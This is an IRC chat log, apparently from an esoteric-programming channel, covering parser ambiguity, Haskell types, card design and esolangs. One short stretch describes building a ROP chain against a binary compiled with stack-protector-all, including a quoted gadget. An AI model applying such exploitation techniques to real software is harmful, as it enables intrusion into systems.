11:08:06  Learned 'effilry': Effilry is eemnoos how ahs got it all deorst otu.
11:08:42  what
11:08:54  `? mtg
11:08:55  mtg? ¯\(°​_o)/¯
11:08:57  `? m:tg
11:08:58  m:tg? ¯\(°​_o)/¯
11:09:07  `` ls wisdom/ma*
11:09:08  wisdom/macabre \ wisdom/madness \ wisdom/magic \ wisdom/mapole \ wisdom/marmite \ wisdom/mathematimu \ wisdom/maths \ wisdom/mauke \ wisdom/mauris \ wisdom/maybe
11:09:13  `? magic
11:09:14  The magic was in you all along.
11:09:28  `? gathering
11:09:29  gathering? ¯\(°​_o)/¯
11:09:32  I approve of this wisdom
11:09:34  `? the
11:09:36  the Toe of Harriness's Enclosure
11:09:41  `? unicorn
11:09:42  unicorn? ¯\(°​_o)/¯
11:09:43  `? unicorns
11:09:45  unicorns? ¯\(°​_o)/¯
11:09:45  `? tea
11:09:46  tea? ¯\(°​_o)/¯
11:09:48  `? bear
11:09:49  bear? ¯\(°​_o)/¯
11:09:54  `? rainbow
11:09:55  rainbow? ¯\(°​_o)/¯
11:10:01  `? sun
11:10:02  sun? ¯\(°​_o)/¯
11:10:06  `? daystar
11:10:07  daystar? ¯\(°​_o)/¯
11:10:08  `? mauke
11:10:09  mauke is a Master Archer. Caution! He can shoot your PRIVMSG with creative arrows!
11:11:14  `? mathematimu
11:11:15  A mathematimu is a quantum of mathematics. If you observe it, its codepoint can change.
11:11:18  `learn The Daystar is an unscientific myth of a bright orb glowing in the sky outside only at the times you're in your office.
11:11:21  Learned 'daystar': The Daystar is an unscientific myth of a bright orb glowing in the sky outside only at the times you're in your office.
11:12:26  `learn Rainbows are spectral creatures said to be powered by the Daystar.
11:12:29  Learned 'rainbow': Rainbows are spectral creatures said to be powered by the Daystar.
11:12:39  `? ipu
11:12:40  ipu? ¯\(°​_o)/¯
11:12:47  `? sun
11:12:47  `? hna
11:12:48  sun? ¯\(°​_o)/¯
11:12:48  hna? ¯\(°​_o)/¯
11:12:49  `? madness
11:12:50  madness lies thataway.
11:13:25  FireFly: right, for that we need a bot that can list entries from the comprehensive rules and oracle
11:14:33  `? russell's teapot
11:14:34  russell's teapot? ¯\(°​_o)/¯
11:14:55  `learn IPU is an invisible pink unicorn.
11:14:57  Learned 'ipu': IPU is an invisible pink unicorn.
11:15:32 -!- mroman has joined.
11:17:56  `le/rn russell's teapot/Russell's Teapot / Short and stout / Orbits near Mars / Or thereabout.
11:17:58  Learned «russell's teapot»
11:19:27  If you see us/Let us know/If you don't/What does that show?
11:19:45  ooh good one
11:20:23  IPU is an incredibly pompous unicorn
11:20:33  `le/rn russell's teapot/Russell's Teapot / Short and stout / Orbits near Mars / Or thereabout. / If you see it / Let us know / If you don't / What does that show?
11:20:36  Learned «russell's teapot»
11:21:15  Taneb: wait is that a pre-existing rhyme
11:21:21  I don't think so
11:21:32  I just made it up
11:21:37  excellent
11:22:07  Aaaah I can't remember the second verse to I'm a little teapot
11:23:44  I think it has the lyrics scream and shout
11:24:03  `wisdom
11:24:04  danddreclist/http://zzo38computer.org/dnd/recording/level20.tex (the precompiled .dvi is also available)
11:28:05  zzo38: what do these tex commands do? does it keep track of stuff and rules or the like?
11:29:47  myname: they track the character sheets for example
11:31:16  like, you can do \charactersheet{Also} and it will give you a sheet?
11:34:23  Taneb: are you sure not confusing it with "When in danger / or in doubt / run in circles / scream and shout"
11:34:27  by the way, the winners of the 24th ioccc were announced in october, but I somehow missed that
11:34:30  *+you're
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11:35:41  bohily
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11:51:58  Endoh managed to win with three programs, not bad
11:52:05  Wait, four
11:58:00 -!- Frooxius has joined.
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11:58:20  hellørjan.
12:02:50 -!- idris-bot has joined.
12:24:38  > 0x18
12:24:39   24
12:25:06 -!- Froox has joined.
12:26:14  FireFly: four, yes
12:28:50  ImageMagick's plans for the future version 7 are quite ambitious. basically they want the program to do everything.
12:28:54 -!- Frooxius has quit (Ping timeout: 255 seconds).
12:30:29  Apparently they want to do operations in such generality over any color space as gimp 3.
12:33:19 -!- boily has quit (Quit: SIMPLEX CHICKEN).
12:41:41  Sounds nice
12:41:59  Although it's a pity the work has to be duplicated
12:42:32  Perhaps it would be better if there could be a command-line frontend akin to imagemagick's for GIMP operations
12:43:59  oops i think mr. ishiguro did a _big_ mistake over in freefall
12:44:28  FireFly: um, there's the python interface, the perl interface, the guile interface, for gimp. you can use those from command-line as perl one-liners.
12:44:51  fungot, are you a vampire?
12:44:51  b_jonas: it's actually why i tend to have a large fnord file, but not any haiku that i can
12:45:01  I KNEW IT!
12:46:40  b_jonas: ah
12:47:24  fungot, are you the immortal kind of vampire who when killed just turns gaseous and flees back to his coffin to heal unless killed by a silver bullet, a stake through your heart, bright light, garlic, holy water, chainsaw, fire, a rooster, with holy wafers in your mouth sewn closed, or in your bat form?
12:48:07  I'm curious too. Well, fungot, are you?
12:48:07  FireFly: and my fnord account :) built a binary search tree
12:48:25  I'm not sure how to interpret that
12:48:35  HAH! i was right!
12:49:07  (othar)
12:57:52  oerjan: :D
12:57:58  I like Othar
12:58:33  wow, updated already?
12:59:06  fungot: let's build a binary decision diagram instead
12:59:06  int-e: can i have your new browser anmaster i call it event-based declarative language for making bot ai's for a game, and how
12:59:18  int-e: it's been updating early for weeks
12:59:19  ominous
12:59:46  FireFly: a fair point. the braille pattern is too large to fit with others, but I initially wanted to make (much widely used) 6-dot brailles good looking when mixed with normal text. probably not a wise decision though...
13:00:59  oerjan: I didn't realize it was *that* early
13:03:06  int-e: I've been reading it when I wake up
13:03:33  (10-ish, GMT)
13:03:33  i only checked just now, but other days it's been up at like 7 am
13:04:06  afk
13:04:51  It was up before quarter to 10 GMT this morning
13:06:18  hah, "Javascript is required for optimal experience." -- ok, so it's not actually required, only recommended.
13:07:04  b_jonas: if you need optimal experience, JavaScript is required
13:07:15  better than google
13:07:15  So it's teeeeeeechnically correct
13:07:31  "When you have eliminated the JavaScript, whatever remains must be an empty page."
13:42:03  has anybody here ever written something in curry?
13:53:42  Wait, so IPF is another name for the Itanium aka IA64 architecture?
13:59:55 -!- oerjan has quit (Quit: Later).
14:18:55 -!- J_Arcane has quit (Ping timeout: 265 seconds).
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14:31:11  I wish there were something between Java and JavaScript.
14:31:19  ScriptJava
14:31:21  or whatever
14:33:02  why
14:35:33  Because I like neither of the two.
14:35:43  I don't like Java because it limits my expressive mental power.
14:35:51  and I don't like JavaScript because I don't like it.
14:35:59  would you like scriptjava?
14:36:33  If it supports functional programming with type inference, operator overloading etc. then yes
14:39:17  mroman: Haskell/
14:39:21  ?
14:40:00  mroman: um, maybe you want haskell?
14:40:04  What does the Japanese in the topic mean?
14:42:15  `unidecode ウフ
14:42:16  ​[U+30A6 KATAKANA LETTER U] [U+30D5 KATAKANA LETTER HU]
14:42:23  uhuhu channel?
14:42:27  Apparently
14:42:47  I'll take it
14:43:53  YEAH
14:44:00  but SPJ disappoints me
14:44:03  He's working at Microsoft
14:44:10  but IE still doesn't support Haskell native
14:44:13  like it did with VB
14:44:23  that's kind of a bummer
14:44:26  It doesn't support VB anymore either, so
14:44:38  Yeah, they got cold feet.
14:44:57  I guess at this point you'd almost expect them to support TypeScript natively, but I don't think they do that either?
14:45:00  and lots of companies wont use newer IE versions because of that
14:45:09  because they're still running websites with client side VB
14:45:49  like book keeping/time keeping software :)
14:47:14  and of course, using old versions of office
14:47:26  due to plugin compatibility issues
14:47:30  *compatability
14:49:48  I was told off for using divs rather than tables after the intranet site look broken on the new IE
14:50:02  while making it look good on the new IE I just switched to using divs :)
14:50:09  that was a few years ago though
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15:32:00  [wiki] [[FiM++]]  http://esolangs.org/w/index.php?diff=45608&oldid=36952 * 192.127.94.7 * (+0) /* Syntax */ replaced one of the colons with a semicolon
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16:23:03  gcc's stack-protector-all is killing me
16:23:16  it protects all but you
16:23:17  it produces unfavorable stack layouts
16:23:21  well
16:23:25  the stack cannary isn't the problem
16:23:29  the problem is the stack layout it chooses
16:23:41  usually the stack layout is ARGS -> EIP -> EBP -> LOCALS
16:24:04  with just the stack cannary it'd be ARGS -> EIP -> EBP -> CANNARY -> LOCALS
16:24:08  that wouldn't be a big deal.
16:24:19  but it actually rearranges mixes args and locals etc.
16:24:52  and that's really unfavorable
16:25:13  because you'd want esp to point to your buffer somehow so you can set up a rop chain
16:26:05  but the stack layout with stack-protector-all makes it hard to gain control over esp
16:26:40  which is what you need to provide arguments to functions you're going to call and setup a chain of functions
16:28:42  0x08048597 : add esp, 0x54 ; pop ebx ; pop ebp ; ret
16:28:50  which means you need these kind of gadgets
16:28:54  but 0x54 is too much in this case :(
16:29:23  (you need to find a gadget that alters esp in a way so it points into your buffer)
16:36:04  http://cosmic.mearie.org/2015/11/font/sample 542 glyphs so far.
16:39:01  next big thing
16:39:13  exploiting security vulnerabilities in brainfuck programs
16:39:32  You can make them print to stdout whatever the f*ck you want using that security vulnerability
16:44:28  mroman: by taking over the interpreter that doesn't check tape head underflow or overflow
16:44:47  well...
16:45:09  or by assuming that bf programs use NUL-Terminated strings as well .
16:45:20  or maybe has some more complicated bug, in an optimized interpreter
17:02:48 -!- MoALTz has joined.
17:04:16  Wait, I don't understand this. If the demigods only vote in case of a tie, then how did Hermod expect to cast a protest vote while also thinking there would not be enough aye votes.
17:07:47 -!- AnotherTest has quit (Ping timeout: 272 seconds).
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17:34:00  Hm...
17:37:38 -!- ais523 has joined.
17:37:50  I need an identifier for the "0" function. Essentially, 0:x::1:I where I is the identity function
17:38:59  I /could/ just use 0, but that gets confusing because most numeric functions have a domain of only the reals and functions. S (for "Self") already means successor. Z might work.
17:46:32  "This pangram contains four As, one B, two Cs, one D, thirty Es, six Fs, five Gs, seven Hs, eleven Is, one J, one K, two Ls, two Ms, eighteen Ns, fifteen Os, two Ps, one Q, five Rs, twenty-seven Ss, eighteen Ts, two Us, seven Vs, eight Ws, two Xs, three Ys, & one Z."
17:46:58  I wonder how much finangling was needed to produce this sentence
17:49:59  So I've just found    f(x)=f . x
17:50:20  Though I'm doing some shady math, so it isn't too meaningful
17:53:13 -!- hppavilion[2] has joined.
17:53:15  Or maybe it is.
17:54:29 -!- J_Arcane has joined.
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18:00:46 -!- hppavilion[2] has quit (Ping timeout: 265 seconds).
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18:10:21  [wiki] [[Special:Log/delete]] delete  * Ais523 *  deleted "[[Apollo]]": XNR left behind after aborted attempt to move to mainspace
18:10:55 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
18:11:25  [wiki] [[Special:Log/delete]] delete  * Ais523 *  deleted "[[User:Esowiki201529A/test link]]": copyright violation
18:12:37 -!- hppavilion[1] has joined.
18:12:41  ais523: hello!
18:12:56  hi b_jonas
18:13:04  [wiki] [[Special:Log/block]] block  * Ais523 *  blocked [[User:103.3.98.227]] with an expiry time of 1 week (anonymous users only, account creation disabled): copyright violation, possibly spamming, more likely human than spambot
18:14:12  ais523: this is a month old news, so you might have seen it: The winners of the 24th IOCCC have been announced. http://www.ioccc.org/2015/whowon.html
18:14:48  [wiki] [[User talk:103.3.98.227]] N http://esolangs.org/w/index.php?oldid=45609 * Ais523 * (+503) block notice
18:17:18 -!- mroman has quit (Quit: Lost terminal).
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18:27:45  zzo38: ok, crazy idea. name: Fallen Behind. mc: 1BB. type: Enchantment. text: At the beginning of each end step, destroy all permanents that have been tapped and controlled by the active player continuously since the beginning of the turn. For each permanent destroyed this way, put a 2/2 black Zombie creature token onto the battlefield.
18:30:54  The relative phrase should be rephrased somehow to make it better.
18:36:56 -!- ais523 has quit.
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18:48:50  Hellu
18:49:00  hi
18:49:02  I'm trying to figure out what f**g is equal to xD
18:49:15  hppavilion[1]: I deleted the redirect you left behind at [[Apollo]] for yo
18:49:18  *for you
18:49:32  ais523: Oh, did I leave a redirect accidentally?
18:49:33 -!- MoALTz has quit (Quit: Leaving).
18:49:34  Sorry xD
18:49:51  not accidentally, as a non-admin you have no means not to
18:54:54 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
18:56:05  ais523: meanwhile, I also wanted to ask you about something
18:56:32  b_jonas: which reminds me
18:56:47  I'm now pretty sure Three Star Programmer is TC; I have a plan for compiling cyclic tag into it
18:57:10  great, that would be interesting
18:59:23  So I want to ask about ayacc and yacc stuff.
19:00:19 -!- MoALTz has joined.
19:00:32  I'd like to know how we can prove with a computer that an ambiguous ayacc grammar is ambiguous only in ways that we like. There are two specific cases I want to bring up.
19:01:12  The first is when the language has some infix operators, with precedences and associativity declared with the directives. 
19:02:00  These are supposedly disambiguated by parenthesis. Is there some way that we could make the computer verify us that all relevant expressions can indeed be parenthisized?
19:02:13  This surely needs some extra annotations in the grammar, but even still I'm not sure how we could do it.
19:02:20  It might even need changes in ayacc.
19:02:49  b_jonas: isn't it known that it's impossible to tell whether a language is ambiguous or not?
19:02:58  like, uncomputable
19:03:02  ais523: oh sure
19:03:07  I don't want it to be that general
19:03:15  I just want a particular way to prove that the language is not ambiguous
19:03:38  ayacc already has such a way: if the language has no shift-reduce and reduce-reduce conflicts as a lalr(1) grammar, it's unambiguous
19:03:54  right
19:04:13  But in some well-behaved cases we can prove it, say if the precedences resolve all those conflicts.
19:04:17  Actually,
19:04:25  I don't ONLY need that the grammar is unambiguous
19:05:15  but also that for any syntax tree that the ambiguous version (without precedences) could nondeterministically output, there's some input for which the deterministic version (with precedences) outputs the same syntax tree,
19:05:40  and you can get this input easily from the syntax tree by undoing the rules and adding parenthesis to some places where it's necessary.
19:05:55  Hmm you could write a pretty-printer for the AST and prove you can parse the original AST back.
19:06:14  that's an interesting direction to go down
19:06:15  We could annotate rules that we want to treat as behaving like parenthesis.
19:06:51  hmm, is a grammar always unambiguous if every production starts with ( and ends with ), with those characters otherwise unused?
19:07:10  err, no, you also need to avoid having two rules that tr
19:07:18  *that trigger on the same input sequence directly
19:07:24  (I'm trying to get there conceptually... this doesn't mean that there has to be an *actual* pretty printer at any point)
19:07:25  ais523: this seems important to me because in some real languages like C++ it gets quite difficult to see that while the crazy syntax quirks make you rephrase some things you want to write, but you can always rephrase, and there's a mechanical way to do that.
19:07:38  as in, a := ( b ) | ( c ); b := ( d ); c := ( d )
19:08:07  ais523: of course not. there can still be simple reduce-reduce ambiguities 
19:08:18  ais523: a := ( ) | ( )
19:08:25  right, that's the same thing I suggested there
19:08:39  it /does/ make the shape of the parse tree unambiguous, though
19:08:48  only ambiguity is as to which type of node a particular node is
19:09:13  I mean, C++ grammar is _crazy_
19:09:40  but at least many people who have an eye for things like this stare at it a lot, which helps.
19:10:24  However, I'd like a mechanical way to be able to prove things like this, which doesn't depend on a committee happening to squint at the grammar the right way and not finding any problems.
19:16:33 -!- hppavilion[1] has joined.
19:18:11  So if a grammar uses infixes and precedences, then ayacc can already prove that the language with precedences in unambiguous.
19:18:16  But it can't prove that it's expressive enough.
19:19:17  Let me mention another case. Suppose that instead of precedences, you have prefix operators that take a variable number of arguments (the last argument is optional or can be repeated), 
19:19:44  this sounds like an esolang already :-D
19:19:46  and to make the grammar unambiguous, there's an optional matching terminator you can put after the expression to close the innermost expressions of certain kind.
19:19:49  No it doesn't
19:19:54  I mean, come on
19:20:01  it's C, with its if-else ambiguity
19:20:10  and C++ with try-catch
19:20:27  obviously it can also be an esolang, because esolangs can do such things too
19:20:34  but it's very much a real problem
19:20:51  oh right, C doesn't have just a matching terminator
19:20:56  that if-else ambiguity is really common, and also quite hard to fix in yacc
19:21:09  (although ayacc will output a message telling you what you have to do, it's not at all obvious why it works)
19:21:46  also, how do you write an ambiguous try-catch? try foo(); try bar(); catch (x) { ... } ?
19:21:48  that doesn't seem very useful
19:21:52  even if it is technically ambiguous
19:22:14  ais523: try try foo catch(x) bar catch(y) bar catch(z) bar catch(w) bar
19:22:18  multiple catches
19:22:40  gah, that line of code is painful to read
19:23:16  ais523: yes, especially as it's not even clear that the first "try" is part of the code. sorry.
19:23:57 -!- hppavilion[1] has quit (Ping timeout: 272 seconds).
19:24:02  So in this case what I think I can do is to have a grammar that has alternatives for certain rules with equivalent semantics (say with or without the terminator), and use a preprocessor to create a variant of the grammar with the more concise equivalents stripped, and then use ayacc to prove that the variant is unambiguous.
19:24:27  That is, prove that if you always have to write else; after every if statement without an else, then it's unambiguous
19:24:41  or always have to write endif after an if, in a non-C language
19:24:48  (oh dear)
19:24:55  (BASIC with its END IF)
19:25:02  or vhdl
19:26:59  At first stage, I'd like a system where if I understand why the language can express everything I want to express, and a precise method for how to parenthisize a syntax tree to express it, then 
19:28:26  I should have a way to annotate (1) how syntax trees are equivalent to others semantically, (2) how I'm ok if some syntax trees are unexpressible because they're meaningless anyway even if it seems from the nondeterministic grammar that they should be possible, and (3) why the language is expressive;
19:28:50  and then the computer should be able to check that if it trusts me about (1) and (2) then (3) is really a proof that the syntax is expressive.
19:29:31  At second stage, I'd like the computer to tell me why my proof in (3) doesn't work, eg. give counterexamples, similarly to how ayacc helps tell why a lalr(1) grammar has conflicts.
19:29:45  http://wogcc.state.wy.us/SundryPassWord.cfm
19:30:12  Oh, and
19:30:31  At zeroth stage, I'd like to know what the heck to search for to find scientific research papers about this.
19:31:06 -!- hppavilion[1] has joined.
19:31:09  Maybe I should ask zeroth stage on TCS stack exchange.
19:31:24  But first I'll wait if you have anything in minid.;
19:31:29  not really
19:31:34  it's possible that even this is uncomputable
19:31:39  Of course it is!
19:31:42  if it isn't, I don't really have ideas on where to start
19:31:45  I don't need to always be able to prove it.
19:31:58  I just need a particular restricted set of grammars and annotations that work for some grammars.
19:32:11  I don't need this to work for every crazy language.
19:32:23  Just, you know, many real world crazy languages.
19:32:34  I mean, in many case my problem in first place is that the language isn't even LR.
19:33:48  yacc input is LR(2) (but not LR(1)), which is one of my favourite parser facts
19:34:02  yep. you mentioned that.
19:34:31  And C (after preprocessing) requires you to track which names are typenames in what scopes.
19:34:33  it's one of my favourite parser facts, so I'm not surprised I mentioned it earlier
19:34:46  Which gets way more complicated in C++ by the way.
19:35:01  The grammar of C++ is horrible. It has so many corners.
19:35:03  Use Rust, it's easy to parse =P
19:35:05  s/grammar/syntax/
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19:36:57  Hm...
19:37:01  f**g
19:37:11  f**3 = f . f . f
19:37:31  3 is a function here, equal to x*3, so I must be able to do f**g
19:37:50  There are some horrible kludges that handle some underlying ambiguities, some right in the lexer; and there's multiple ambiguities that the programmers themselves have to be aware of because they come up in real world code and can't be fixed because of compatibility.
19:38:08  hppavilion[1]: well in Underload and Underlambda, numbers are defined as the matching exponentiation functions
19:38:39  ais523: OK. Well for mine, it makes more sense that they're multiplication
19:38:39  e.g. (a)3^, or "a to the power 3", is a compose a compose a (i.e. aaa in Underload/Underlambda syntax)
19:38:49  FreeFull: nah, there are no languages that are good and simple, only ones that are too young yet to be complicated. this applies to syntax too.
19:38:59  so your "there should be a way to exponentiate one function with another" is just application (multiplication is composition)
19:39:07  I also found that f(g)=f . g, so that might be helpful
19:39:27  b_jonas: C started out with a good deal of "complicated"
19:39:31  Maybe I'm just discovering λ-calculus xD
19:39:59  I mean specifically Rust can be parsed with an LR(1) grammar
19:40:11  ais523: I don't think unlambda or underload specifically favors that particular numeric representations. It's not like there are library functions using them or something.
19:40:25  b_jonas: underlambda does have library functions
19:40:38  they're meant to be general-purpose but specifically favour that numeric representation
19:40:47  underload doesn't, and in fact some people use other numeric representations
19:40:50  like the string-of-colons one
19:40:54  ais523: I see
19:41:30  (that one can be added easily enough, but other operations are awkward)
19:42:50  perhaps f**g is equal to f composed with itself g(1) times?
19:43:16  what if g(1) isn't an integer?
19:43:24  what if g doesn't even take integer arguments?
19:43:56  ais523: I know, that was my problem
19:44:06  Have you seen the Haskell type "Hyper a b = Hyper b a -> b"?
19:44:14  I.e. Hyper a b = (Hyper a b -> a) -> b
19:44:24  It's interesting because it can exist in Haskell but not in set theory.
19:44:36 -!- Welo has quit (Quit: Leaving).
19:45:01  Apparently Hyper Bool Bool ~~ Nat, i.e. the naturals are isomorphic to their own double powerset.
19:45:12  shachaf: one of your sets of as and bs is backwards, which?
19:45:16  (as in, your two lines don't match)
19:45:31  Why is it backwards?
19:45:42  ais523, the second line is double-backwards
19:45:43  neither one
19:45:44  Hyper a b = Hyper b a -> b = (Hyper a b -> a) -> b
19:45:46  Which is right
19:45:49  oh, I see
19:45:59  second line is iterated
19:46:30  are the reals isomorphic to their own powerset? IIRC yes?
19:46:45  Nothing is isomorphic to its own powerset in set theory.
19:46:46  newtype Foo = Foo (Foo -> Foo)  is also fun
19:47:01  int-e: That uses negative recursion, though.
19:47:10  Well, I guess Hyper does too.
19:47:20  I was just thinking that it preserves variances.
19:47:21  shachaf: yes, but it's still fine in Haskell, and it's inhabited nevertheless
19:47:30  shachaf: oh, right
19:47:37  you can merge an countable number of reals into one real
19:47:42  but you can't merge an uncountable number of reals into one real
19:48:28  um, is that certain? how do you prove that?
19:48:32  shachaf: yeah Hyper is a proper bifunctor
19:48:37  Profunctor
19:48:42  I haven't heared of that theorem.
19:48:50  Well, it's a bifunctor, but not an instance of the Haskell class Bifunctor.
19:48:58  I know you can't merge a continuum many reals to a real of course.
19:49:24  I think I read somewhere about "Honalee algorithm" which can generate the parser for LR(anything)
19:49:45  zzo38: hi. 
19:49:51  I have a crazy card idea for you.
19:49:55  OK
19:50:33  shachaf: The Foo thing is basically what you need for untyped lambda calculus; you can have   abs :: (Foo -> Foo) -> Foo; abs = Foo, and  app :: Foo -> Foo -> Foo; app (Foo f) x = f x, and you can express closed lambda terms, say, abs (\x -> app x x)
19:51:03  b_jonas: What idea?
19:51:14  name: Fallen Behind. mc: 1BB. type: Enchantment. text: At the beginning of each end step, destroy all permanents that have been tapped and controlled by the active player continuously since the beginning of the turn. For each permanent destroyed this way, put a 2/2 black Zombie creature token onto the battlefield.
19:51:25  (only, that ability should be rephrased somehow so it's easier to read.)
19:51:32  (using higher order abstract syntax)
19:51:36  int-e: Yes, and you can cause nontermination.
19:51:43  shachaf: of course.
19:52:31  Anyway usually people talk about the untyped lambda calculus as a CCC with that isomorphism.
19:52:35  Or something like that.
19:52:42  The easiest way to use this is with sleep/thirst effects. That requires you to use an additional color, which can be blue or possible white or green.
19:52:58  I tried to make this hard by requiring double black mana, so it's harder to abuse.
19:53:28  app (abs (\x -> app x x)) (abs (\x -> app x x)) `seq` () -- *twiddles thumbs*
19:53:48  OK, I added that
19:53:50  There's a strange card in TSP that lets you use it in mono-black, but even then I think it's not overpwoered.
19:54:11  Hmm, I should perhaps use an infix operator for app.
19:54:50  int-e: I'd guess that that causes inliner problems, like the usual definition of Y with Rec?
19:54:50  I think that card is OK.
19:54:53  @where y
19:54:53  \f -> (\x -> f (outR x x)) (InR (\x -> f (outR x x)))
19:55:01  OK, so what would f**I be, where I is the identity function?
19:55:24  shachaf: Probably, but I'm running it in ghci without optimization.
19:55:50  hppavilion[1]: I is 1 as a Church numeral
19:56:05  At first I tried to make an instant that _untaps_ permanents like that, but that can't work: either it's overpowered combined with the right cards, or it's so overpriced it's useless, so it doesn't encourage using it in an interesting way.
19:56:19  int-e: "I am 1 as a Church numeral" hth
19:56:21  int-e: THat's what I was thinking, but I want to allow more than just church numerals
19:56:32  shachaf: it didn't
19:57:01  But destroying it makes sense in black, because (1) black can destroy tapped creatures anyway, although this one also destroys artifacts, (2) doesn't let you abuse cards where "doesn't untap" is a drawback.
19:57:12  And black likes to make zombies this way.
19:57:41  It still mustn't be too cheap because then you could get a lot of zombies for cheap.
19:58:05 -!- ais523 has quit.
19:59:07  By the way, what do people informally call "doesn't untap during its controller's untap step" these days? Is it thirst, or sleep?
19:59:28  . o O ( cumulative upkeep: sacrifice a zombie )
19:59:28  I don't know.
20:01:18  If you are really black, you can use it on your own permanents that have a "doesn't untap" drawback, such as tempest dual lands or Giant Oyster.
20:02:58  zzo38: do you know which strange black card from TSP lets you use this in a mono-black deck? although still not in a way that's overpowered.
20:03:00  Yes, it has many of those kind of uses; it works on any player's permanents whether you or opponent
20:03:18 -!- ais523 has joined.
20:03:28  b_jonas: I don't know, but I will try to look
20:03:30  Yes, it deliberately kills your own stuff, that just makes it blacker.
20:05:04  . o O ( The gathering channel )
20:05:08  int-e: why bother? the Stasis already has a cumulative upkeep. Winter Orb doesn't
20:05:26  Hmm, Winter Orb actually might be somewhat crazy with this. 
20:05:54  It will kill the opponent's lands in a completely one-sided way. 
20:06:32 -!- mauris has joined.
20:06:34  "Cumulative upkeep: Put an age counter on this permanent."
20:06:41  shachaf: ouch
20:07:12  Still, that would require you to assemble a 3-combo, with 2 cards very specific, and spend 7 (or maybe 6) mana on it, so in a format with Winter Orb it's probably easily ok to destroy all lands of the opponent for that price.
20:07:23 -!- Patashu has joined.
20:08:09  shachaf: card name: methuselah
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20:09:07  Heck, I think if you're playing Legacy and spend 6 mana on those 3 cards to destroy all but one of the opponent's lands, then the opponent will calmly play a second land next turn and kill you and think you were going easy on him.
20:09:31  Or is it only Vintage that's so crazy?
20:10:41  I mean, Winter Orb already denies the opponent the use of those lands, so destroying them isn't too much extra.
20:10:54  I found Mana Skimmer in Time Spiral
20:11:10  zzo38: that's it, yes
20:12:41  I think I'm going to invent esonums
20:12:45  Just for fun
20:17:24  Now I have no clue what I'm doing xD
20:18:50  What kinds of weird mathematical objects could we have?
20:19:39  ais523: maybe the technique where (I modify the grammar by splitting and deleting rules, prove that everything accepted by the new grammar is accepted by the original with the same semantics, and the modified grammar is ayacc unambiguous) covers enough that I could use it for enough cases,
20:20:12  in which case maybe I should write a preprocessor that helps verify the modification by generating the two grammars from a common input.
20:20:19  I'll have to think about how much this covers.
20:25:57  ais523: Ok, this gives me a lot to think about. Thanks for being a teddy bear for this, and good night.
20:29:35  Should I use ≡ or ≔ for assignment?
20:29:50  Perhaps ≔ is assignment and ≡ is reactive assignment?
20:46:53  I would want to see a SQLite extension to access Gatherer, and I want a filterable "last updated time" field to be added. Such a field makes it easy to make backups
20:48:07  However, I think the virtual table capabilities of SQLite are currently too weak for some purposes.
20:50:59  How many possible trit gates are there?
20:51:30  hppavilion[1]: with two inputs?
20:51:46  you have nine possible combinations of trits coming in on the inputs, each of which can produce one of three outputs
20:51:49  ais523: Yes, forgot to mention that
20:52:01  OK, that should be enough for me to figure it out xD
20:52:02  giving you 9**3 possibilities
20:52:02  27
20:52:06  Oh, right
20:52:10  so... a lot
20:52:11  which I think is 243
20:52:20  although it's too late for me to do maths in my head really
20:52:28  (at least, and be confident about being correct)
20:53:19  ais523: Have any ideas about what I should do for esonums?
20:53:41  hppavilion[1]: my creative process for esolangs is very different from yours
20:53:46  Ah
20:54:01  you think "I need an esoteric version of «somethign I already know»", look for something similar, move on
20:54:16  Pretty much
20:54:17  xD
20:54:20  I think along the lines of "here are some interesting primitives, how much can I do with /just/ those"?
20:54:27  then try to take the language to its logical conclusion
20:54:37  something like http://esolangs.org/wiki/Snowflake is another example along similar lines
20:54:42  The curse of ADHD
20:54:46  the original concept was a language that changes over time as you run programs in it
20:55:11  then I realized it needed to be reversible, because otherwise you couldn't guarantee that your program could keep running forever as the language might lose computational power over time
20:55:26  what language is this?
20:55:34  quintopia: Snowflake
20:55:36  snowflake again
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20:55:48  A lot of my ideas are "What if THIS IDEA was SLIGHTLY DIFFERENT"
20:56:00  infinite loops aren't reverisble, but I needed a lot of power in one "main loop" iteration, because otherwise you couldn't "keep up" with changes to the language
20:56:08  so then I ended up having to add SIMD parallelism
20:56:15  Taneb: me too. i'm already ready to invent another auberginoid :P
20:56:25  Like, Fueue started as a queue-based Underload, Real Fast Nora's Hair Salon 3: Shear Disaster Download started as functional BIT
20:56:34  and then it was a case of finding primitives that fit into this kind of highly specific paradigm
20:57:48  i need to try that method at some poinnt
20:57:55  What I want to do is create something similar to numbers, but entirely different. Then, I want to start taking stuff from different branches of mathematics (like order theory) and roll it in
20:58:05  "Similar, but entirely different'
20:58:07  '
20:58:15  hppavilion[1]: IMO an esolang is a failure if the spec has to assume the existence of numbers to work
20:58:17  Esolangs summed up in their entirely
20:58:20  (only half joking)
20:58:23  mine tend to be like "here's a list of three or four goals to achieve...fill in the details"
20:58:25  ideally you should be able to implement them in terms of something else
20:58:55  ais523: Mine isn't so much an esolang as the mathematics of aliens
20:59:00  actually Three Star Programmer wasn't so hard to work out; the key idea was to never read from odd-numbered tape elements but only beyond a certain point
20:59:07  ais523: this is why you're the guy that did the thing once.
20:59:29  quintopia: that was more being an undergraduate with a ton of spare time during the summer holidays
20:59:43  they were surprised an undergraduate did it, my reaction was more "well who else would waste twomonths on this?"
20:59:45  *two months
21:01:05  Hm...
21:02:45  ais523: its not enough to have the time. you also have to be comfortable analyzing computational models that don't involve numbers as primitives
21:03:04  Tree order theory? One where numbers are on a tree instead of a line?
21:03:18  (well, that's an idea for something in general)
21:03:30  (Not necessarily numbers)
21:03:38  quintopia: why would having numbers as primitives even help? :-D
21:04:12  ais523: it sure seems to help the thousands of CS undergrads that do pretty much all their algorithmic work with them
21:04:32  most algorithms I know either don't use numbers, or use them to keep track of which order things are in
21:04:43  there are a few exceptions where you have to count something
21:05:22  ais523: keeping track of the order things are in, or even just doing basic arithmetic, is actually quite common!
21:05:36  Algebraic Graph Theory
21:05:41  ais523: but speaking of languages without numbers, i finally got around to implementing Platts last night
21:05:42  My own personal interpretation of graph theory
21:05:43  right, but keeping track of an order can be done with a ton of primitives
21:05:51  I think I'll design that
21:05:52  you don't have to use numbers, they're just normally convenient
21:06:52  then i will rephrase: you ave to have overwhelming amounts of time to deal with the added inconvenience of a lack of numbers, and also not be supremely annoyed by that lack
21:07:20  (try to put yourself in the shoes of the average joe for a moment)
21:08:20  quintopia: well, suppose you start by trying to implement cyclic tag
21:08:23  which is an excellent default
21:08:34  how do numbers help? the language doesn't have much to do with numbers in the first place
21:08:50  pointers help, and some languages let you use numbers as pointers
21:09:13  but it's only coincidence that you're using numbers for that rather than, say, chains of tape elements in brainfuck
